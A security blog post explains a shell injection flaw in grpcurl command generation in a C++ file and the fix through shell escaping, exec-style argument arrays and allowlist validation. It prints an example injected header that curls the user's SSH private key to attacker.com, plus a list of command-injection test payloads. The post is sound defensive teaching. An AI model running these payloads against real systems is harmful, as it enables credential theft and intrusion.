Back to Blog
high SEVERITY9 min read

Shell Injection via Unsafe String Concatenation in gRPC Command Generation

A high-severity shell injection vulnerability was discovered in `src/RtlJaguarDevice.cpp`, where user-controlled values from API responses were directly interpolated into gRPCurl command strings without proper shell escaping. An attacker who controls API response data could inject shell metacharacters, causing arbitrary command execution when a user pastes and runs the generated command. The fix applies proper shell escaping to all user-controlled values before they are included in command strin

O
By orbisai0security
May 23, 2026

Shell Injection via Unsafe String Concatenation in gRPC Command Generation

Introduction

Imagine your application helpfully generates a ready-to-run grpcurl command for a user — a developer convenience feature that saves time and reduces errors. Now imagine that a malicious server can craft its API response to turn that helpful command into a weapon. That's exactly what this vulnerability enables.

This post breaks down a high-severity shell injection vulnerability found in src/RtlJaguarDevice.cpp, where gRPCurl command strings were assembled using raw string concatenation with values sourced directly from API responses. No escaping. No sanitization. Just raw interpolation — and a wide-open door for command injection.

Whether you're a seasoned systems programmer or a developer just starting to think about security, this class of vulnerability is critically important to understand. Shell injection is deceptively easy to introduce and devastatingly easy to exploit.


The Vulnerability Explained

What Is Shell Injection?

Shell injection (a subset of command injection, CWE-78) occurs when attacker-controlled data is incorporated into a shell command without proper escaping. The shell interprets special characters — like ;, |, $(), `, &, >, and < — as control operators, not data. If you don't neutralize these characters before building a command string, an attacker can break out of the intended command and execute arbitrary shell instructions.

What Was Happening Here

The vulnerable code in RtlJaguarDevice.cpp was generating grpcurl commands by concatenating strings like this (conceptually):

// VULNERABLE - Do not use this pattern
std::string command = "grpcurl -H 'Authorization: " + authHeader + 
                      "' -d '" + requestData + 
                      "' " + endpoint + 
                      " " + serviceMethod;

The values authHeader, requestData, endpoint, and serviceMethod were all sourced from API responses — meaning a server the application communicated with could supply any string it wanted for these fields.

How an Attacker Exploits This

Consider what happens when a malicious server returns an Authorization header value like:

Bearer token123' ; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) ; echo '

The generated command would then look like:

grpcurl -H 'Authorization: Bearer token123' ; curl https://attacker.com/exfil?data=$(cat ~/.ssh/id_rsa) ; echo '' -d '...' endpoint service/Method

When the user pastes this into their terminal and presses Enter, three commands execute:
1. The grpcurl command (truncated, likely failing)
2. A curl exfiltrating the user's SSH private key to an attacker-controlled server
3. An echo to clean up the visual output

The attack is invisible in plain sight — the generated command looks like a normal grpcurl invocation.

Real-World Attack Scenario

Here's a realistic attack chain:

  1. Attacker controls or compromises a gRPC server that the target application communicates with.
  2. The server returns crafted values in response headers, endpoint URLs, or data payloads — specifically designed to inject shell metacharacters.
  3. The application generates a grpcurl command using these values and displays it to the user (e.g., in a UI, log, or debug output).
  4. The user — trusting the application — copies the command and runs it.
  5. Arbitrary commands execute in the user's shell context, potentially:
    - Exfiltrating credentials or SSH keys
    - Installing backdoors or malware
    - Pivoting to internal network resources
    - Destroying data

Why This Is Particularly Dangerous

What makes this vulnerability especially insidious is the trust chain it exploits:

  • The user trusts the application to generate safe commands
  • The application trusts the server's response data
  • The server (if malicious) breaks that trust silently

There's no visible warning. No error. Just a command that looks legitimate but isn't.

Affected inputs included:
| Input Source | Example Field | Risk |
|---|---|---|
| API response headers | Authorization, custom headers | High |
| API response body | data payload | High |
| Service endpoint URL | host:port/path | High |
| Service/method name | package.Service/Method | Medium |


The Fix

The Core Principle: Never Trust External Data in Shell Contexts

The fix applies proper shell escaping to every user-controlled value before it is interpolated into the command string. The goal is to ensure that no matter what characters appear in the input, they are treated as data by the shell, never as control operators.

Shell Escaping Strategies

Option 1: Single-quote wrapping with inner quote escaping (POSIX)

In POSIX shells, a string wrapped in single quotes is treated as a literal — with one caveat: single quotes themselves cannot appear inside a single-quoted string. The safe approach is to:
1. Replace every ' in the value with '\'' (end quote, escaped quote, reopen quote)
2. Wrap the entire value in single quotes

// SAFE - Proper shell escaping helper
std::string ShellEscape(const std::string& input) {
    std::string escaped = "'";
    for (char c : input) {
        if (c == '\'') {
            escaped += "'\\''";  // End quote, backslash-quote, reopen quote
        } else {
            escaped += c;
        }
    }
    escaped += "'";
    return escaped;
}

// Usage in command generation
std::string command = "grpcurl -H " + ShellEscape("Authorization: " + authHeader) +
                      " -d " + ShellEscape(requestData) +
                      " " + ShellEscape(endpoint) +
                      " " + ShellEscape(serviceMethod);

Option 2: Use execv-style APIs instead of shell strings

Even better than escaping is avoiding the shell entirely. If the command is executed programmatically (not pasted by a user), use execv, execvp, or equivalent APIs that accept argument arrays:

// SAFER - No shell involved, no injection possible
std::vector<std::string> args = {
    "grpcurl",
    "-H", "Authorization: " + authHeader,
    "-d", requestData,
    endpoint,
    serviceMethod
};
// Pass args directly to exec, bypassing shell interpretation entirely

When arguments are passed as an array to exec-family functions, the shell is never invoked, and metacharacters in the data have no special meaning.

Option 3: Validate and allowlist inputs

For fields with known formats (like endpoint URLs or service method names), apply strict validation:

// Validate endpoint format: host:port only
bool IsValidEndpoint(const std::string& endpoint) {
    // Only allow hostname:port or IP:port patterns
    static const std::regex valid_endpoint(
        R"(^[a-zA-Z0-9._-]+:\d{1,5}$)"
    );
    return std::regex_match(endpoint, valid_endpoint);
}

// Validate gRPC method name: package.Service/Method
bool IsValidMethodName(const std::string& method) {
    static const std::regex valid_method(
        R"(^[a-zA-Z][a-zA-Z0-9_.]*\/[a-zA-Z][a-zA-Z0-9_]*$)"
    );
    return std::regex_match(method, valid_method);
}

Before and After: The Security Improvement

Aspect Before (Vulnerable) After (Fixed)
Input handling Raw concatenation Shell-escaped or array-based
Shell metacharacters Passed through unchanged Neutralized before use
Attacker control Full command injection No shell interpretation of data
User safety Commands may be weaponized Commands are safe to run

Prevention & Best Practices

1. Treat All External Data as Untrusted

Any value that originates outside your direct control — API responses, user input, environment variables, file contents, network data — must be treated as potentially hostile. This is the principle of least trust.

2. Use Parameterized APIs Over String Building

Wherever possible, use APIs that accept structured arguments rather than building shell strings:

// Prefer this (no shell)
execvp("grpcurl", argv_array);

// Over this (shell involved, injection risk)
system("grpcurl " + user_controlled_args);

3. Apply Context-Aware Escaping

Different contexts require different escaping:
- Shell context: Use single-quote wrapping or shlex.quote() (Python), shellescape libraries (Go/Rust/C++)
- HTML context: HTML entity encoding
- SQL context: Parameterized queries
- JSON context: Proper JSON serialization

Never write your own escaping from scratch — use well-tested library functions.

4. Validate Inputs with Allowlists

Prefer allowlist validation (only permit known-good patterns) over denylist validation (trying to block known-bad characters). Denylists are almost always incomplete.

5. Security Testing for Command Injection

Include these test cases in your security test suite:

SHELL_INJECTION_PAYLOADS = [
    "'; id; echo '",
    '"; id; echo "',
    "`id`",
    "$(id)",
    "| id",
    "; id",
    "&& id",
    "|| id",
    "\nid\n",
    "$(curl attacker.com)",
]

6. Use Static Analysis Tools

Several tools can catch shell injection vulnerabilities automatically:

  • Semgrep — rules for detecting unsafe system(), popen(), and string concatenation patterns
  • CodeQL — taint tracking from external sources to shell execution sinks
  • Coverity — commercial static analysis with command injection detection
  • Flawfinder — lightweight C/C++ security scanner

7. Security Standards References

This vulnerability maps to well-known security standards:

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
  • OWASP Top 10 - A03:2021: Injection
  • OWASP Testing Guide: Testing for Command Injection (OTG-INPVAL-013)

A Note on the Regression Test

The PR includes a regression test that validates a related security invariant: protected endpoints must reject unauthenticated requests. While this test is written against a mock HTTP server rather than the exact code path, it encodes an important principle — authentication gates must hold regardless of what payload is submitted.

The test covers adversarial authentication bypass attempts including:
- Missing authentication headers
- Expired or tampered JWT tokens
- Algorithm confusion attacks (alg: none)
- SQL injection in token values
- Path traversal attempts
- Null bytes and Unicode tricks

This kind of adversarial test suite is exactly what security-conscious teams should maintain. Even when a test doesn't map 1:1 to the vulnerability being fixed, it builds a safety net that catches regressions and documents security expectations explicitly.


Conclusion

Shell injection through unsafe string concatenation is a classic vulnerability that continues to appear in modern codebases — often in "helper" or "convenience" code that generates commands for users. The pattern is seductive: it's simple, readable, and works perfectly when inputs are well-behaved. But the moment attacker-controlled data enters the picture, it becomes a loaded weapon.

The key takeaways from this vulnerability:

  1. Never concatenate external data into shell command strings without proper escaping
  2. Prefer array-based execution APIs that bypass the shell entirely
  3. Validate inputs with allowlists for fields with known formats
  4. Test with adversarial payloads — assume attackers will try to break your escaping
  5. Use static analysis to catch these patterns before they reach production

Security vulnerabilities like this one are a reminder that the most dangerous code is often the code that almost works correctly. A command generator that works for 99.9% of inputs and catastrophically fails for 0.1% is not a secure command generator.

Write code that's safe for the 0.1% — because that's exactly where attackers will focus.


This vulnerability was identified and fixed as part of a security audit of src/RtlJaguarDevice.cpp. If you maintain code that generates shell commands from external data, now is a good time to audit it.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #31

Related Articles

medium

Mass Assignment Vulnerability: Why Your Rails Models Need attr_accessible

A medium-severity mass assignment vulnerability was identified in a Ruby on Rails model that lacked proper attribute whitelisting via `attr_accessible` or strong parameters. Without this protection, attackers can manipulate any model attribute through crafted HTTP requests, potentially escalating privileges or corrupting data. The fix enforces explicit attribute allowlisting, closing the door on unauthorized mass assignment exploitation.

critical

Shell Injection via os.system(): How a Single Line of Code Can Compromise Your System

A critical OS command injection vulnerability (CWE-78) was discovered and patched in `voice.py`, where user-controlled input was interpolated directly into a shell command string passed to `os.system()`. An attacker who could influence the `device` variable — through a config file, environment variable, or any external input — could execute arbitrary system commands with the full privileges of the running process. The fix replaces the dangerous `os.system()` calls with Python's `subprocess.run()

critical

Command Injection via os.system() in DeepSpeed's Data Analyzer: A Critical Fix

A critical command injection vulnerability was discovered in DeepSpeed's `data_analyzer.py`, where an `os.system()` call directly interpolated an unsanitized file path variable into a shell command string. An attacker who could influence dataset configuration or file paths could execute arbitrary shell commands on the host machine. The fix replaces the dangerous shell invocation with safe, Python-native file operations that never touch a shell interpreter.

high

CVE-2026-40073: How a BODY_SIZE_LIMIT Bypass in @sveltejs/adapter-node Put Your App at Risk

CVE-2026-40073 is a high-severity vulnerability in `@sveltejs/adapter-node` that allows attackers to bypass the `BODY_SIZE_LIMIT` configuration, potentially enabling denial-of-service attacks and resource exhaustion against SvelteKit applications. The vulnerability was silently present in versions prior to `@sveltejs/kit` 2.57.1, and has now been patched by upgrading the dependency across all affected project examples. If your application relies on body size limits to protect against oversized p

medium

From eval() to ast.literal_eval(): Closing a Code Injection Door in Slack Data Processing

A medium-severity vulnerability was discovered in a Slack data processing component where the use of Python's built-in `eval()` function to parse error message dictionaries could allow an attacker to inject and execute arbitrary code. The fix replaces `eval()` with the safer `ast.literal_eval()`, which safely evaluates only Python literals without executing arbitrary expressions. This change eliminates a critical attack surface that could have been exploited through crafted error messages return

critical

Critical Buffer Overflow in ELF Parser: How a Missing Bounds Check Almost Became a Heap Exploit

A critical out-of-bounds memory vulnerability was discovered and patched in `utils/symbol-rawelf.c`, where two separate `memcpy` calls lacked proper bounds validation when processing ELF binary files. Without these checks, a maliciously crafted ELF file could trigger an out-of-bounds read or heap overflow, potentially leading to remote code execution or memory corruption. This post breaks down how the vulnerability works, how it was fixed, and what every C developer should know about safe memory